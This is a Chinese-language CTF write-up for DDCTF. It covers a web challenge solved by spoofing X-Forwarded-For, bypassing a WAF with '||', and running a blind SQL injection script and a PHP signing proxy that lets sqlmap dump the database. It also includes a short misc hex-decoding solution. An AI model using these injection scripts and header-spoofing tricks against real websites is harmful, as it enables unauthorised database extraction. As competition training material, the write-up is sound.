Web
数据库的秘密
打开链接提示非法链接,只允许来自 123.232.23.245 的访问,于是添加 X-Forwarded-For 字段,尝试了 Burp 的 Bwapass Waf 插件,还是感觉火狐的 Mdify Headers 好用。
进入页面之后,发现是一个查询文章的功能,结合题目判断是一道 sqli。
利用 Burp 显示隐藏内容的功能,发现在表单中还有一个名字为 author 的字段。

查询的大概流程为,根据表单的内容加密后的密文,在请求后添加 sig 和 time 参数,sig 参数判断 post 内容是否被修改,time 是一个时间戳,通过这个判定和服务器时间相隔一定时间的请求有效。

解密后的前端加密脚本如下,hex_math_enc 是 math.js 的一个函数。

接下来寻找注入点,id 只允许输入数字,title,data 转义了 ‘ ,尝试了好像没有宽字节注入,发现这个隐藏的 author 没有过滤 ‘ ,注入点就在这里了。
发现以下内容会被 waf 拦截
| 12
 3
 4
 5
 
 | .....union select
 and 1=1
 or 1=1
 .....
 
 | 
很迷的一个 waf ,如果只是输入单个单词的话,不会被拦截,前面出现了 or ,后面再出现 = 就会被拦截,试了下用 || 不会被拦截,得到 payload :0' || 1#
是一个盲注,查询成功返回表中所有内容,于是编写脚本,爆数据库的时候,因为过滤了 database() ,可以用select schema_name from information_schema.schemata的方式。
编写脚本有一个难点是根据 payload 构造 sig 和 time 标记,这里有两个思路,第一种根据 javascript 代码编写加密脚本,第二种利用原来的 javascript 来加密,然后再读取。
采用了第二种思路,遇到了一个问题,读取原生 js 加密数据时,通过网页传参返回显然是行不通的,因为 js 脚本是在服务端执行的,直接读取网页返回的是 js 的源代码。py了一份 sn00py 师傅的代码,大师傅的思路是用 selenium 调用浏览器访问网页,达到执行 js 代码的目的。
根据师傅的代码修改的脚本:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 
 | import requestsimport re
 from selenium import webdriver
 from selenium.webdriver.chrome.options import Options
 import HTMLParser
 
 chrome_options = Options()
 chrome_options.add_argument("--headless")
 chrome_options.add_argument("--disable_gpu")
 chrome_options.add_argument("--window-size=1920,1080")
 chrome_options.binary_location = r"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"
 driver_path = r"C:\Program Files (x86)\Google\Chrome\Application\chromedriver_win32\chromedriver.exe"
 
 def encode(payload):
 d = webdriver.Chrome(
 executable_path=driver_path,
 chrome_options=chrome_options
 )
 d.implicitly_wait(30)
 d.set_page_load_timeout(30)
 local = r"D:\phpStudy\WWW\ctf\encode.html"
 temp = r"D:\phpStudy\WWW\ctf\temp.html"
 with open(temp) as temp_cont:
 content = temp_cont.read() % payload
 temp_cont.close()
 with open(local, 'w+') as encode_cont:
 encode_cont.write(content)
 encode_cont.close()
 d.get(local)
 
 key = re.search(r"sig=[a-zA-Z0-9]+&time=[a-zA-Z0-9]+", d.page_source)
 
 html_parser = HTMLParser.HTMLParser()
 key = html_parser.unescape(key.group(0))
 
 
 return key
 
 def sqli():
 flag = []
 url1 = "http://116.85.43.88:8080/JYDJAYLYIPHCJMOQ/dfe3ia/index.php?%s"
 payload1 = "0'|| (ascii(substring((select secvalue from ctf_key9 limit 0,1),%s,1)))=%s#"
 
 for flag_len in range(1,30):
 print "num %s" % flag_len,
 for ascii in range(68,127):
 payload = payload1 % (flag_len,ascii)
 
 tag = encode(payload)
 url = url1 % tag
 
 data = {
 'id' : '',
 'title' : '',
 'date' : '',
 'author' : payload,
 'button' : 'search'
 }
 headers = {
 'X-Forwarded-For' : '123.232.23.245'
 }
 res = requests.post(url = url, data = data, headers = headers)
 
 if 'admin' in res.text:
 flag.append(chr(ascii))
 break
 
 if __name__ == "__main__":
 sqli()
 
 | 
得到flag:DDCTF{IKIDLHNZMKFUDEQE}
这里再分享看到的一个很新奇的思路(via@Clannad),通过写 php 脚本代理访问的方式,直接用 sqlmap 秒出 flag
代理脚本:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 
 | <?php@$id = $_REQUEST['id'];
 @$title = $_REQUEST['title'];
 @$author = $_REQUEST['author'];
 @$date = $_REQUEST['date'];
 $time = time();
 $sig = sha1('id='.$id.'title='.$title.'author='.$author.'date='.$date.'time='.$time.'adrefkfweodfsdpiru');
 
 $ch = curl_init();
 
 $post = [
 'id' => $id,
 'title' => $title,
 'author' => $author,
 'date' => $date,
 ];
 
 curl_setopt($ch, CURLOPT_URL,"http://116.85.43.88:8080/JYDJAYLYIPHCJMOQ/dfe3ia/index.php?sig=$sig&time=$time");
 curl_setopt($ch, CURLOPT_HTTPHEADER, array(
 'X-Forwarded-For: 123.232.23.245',
 ));
 curl_setopt($ch, CURLOPT_POST, 1);
 curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
 curl_setopt($ch, CURLOPT_HEADER, true);
 
 $ch_out = curl_exec($ch);
 $ch_info = curl_getinfo($ch);
 
 $header = substr($ch_out, 0, $ch_info['header_size']);
 $body = substr($ch_out, $ch_info['header_size']);
 
 http_response_code($ch_info['http_code']);
 
 
 echo $body;
 
 | 
sqlmap 一把梭: sqlmap -u http://127.0.0.1/ctf/proxy.php?author=admin --dump
秒出 flag,震惊~

MISC
(╯°□°)╯︵ ┻━┻
题目只给了一串16进制数
d4e8e1f4a0f7e1f3a0e6e1f3f4a1a0d4e8e5a0e6ece1e7a0e9f3baa0c4c4c3d4c6fbb9b2b2e1e2b9b9b7b4e1b4b7e3e4b3b2b2e3e6b4b3e2b5b0b6b1b0e6e1e5e1b5fd
每两位转换成10进制数后范围在 160280 ,可见10进制 ascii 码范围在 20126 ,猜测可能是由 ascii 加上固定值得到,于是编写脚本试了下:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 
 | # d4e8e1f4a0f7e1f3a0e6e1f3f4a1a0d4e8e5a0e6ece1e7a0e9f3baa0c4c4c3d4c6fbb9b2b2e1e2b9b9b7b4e1b4b7e3e4b3b2b2e3e6b4b3e2b5b0b6b1b0e6e1e5e1b5fd
 ascii = "d4e8e1f4a0f7e1f3a0e6e1f3f4a1a0d4e8e5a0e6ece1e7a0e9f3baa0c4c4c3d4c6fbb9b2b2e1e2b9b9b7b4e1b4b7e3e4b3b2b2e3e6b4b3e2b5b0b6b1b0e6e1e5e1b5fd"
 y = bytearray.fromhex(ascii)
 newlist1 = list(y)
 newlist2 = list(y)
 # print z
 
 for i in range(127,141):
 for j in range(len(newlist1)):
 newlist2[j] = int(newlist1[j]) - i
 for k in newlist2:
 print chr(int(k)),
 print ""
 
 | 
得到一串字符:That was fast!The flag is:DDCTF{922ab9974a47cd322cf43b50610faea5}
后记
成绩依旧很差的一次比赛,认识到了自身的不足,还是继续踏踏实实前进吧。

参考链接:
| 1
 | Clannad sqlmap 代理:https:
 | 
要一直努力做最好的自己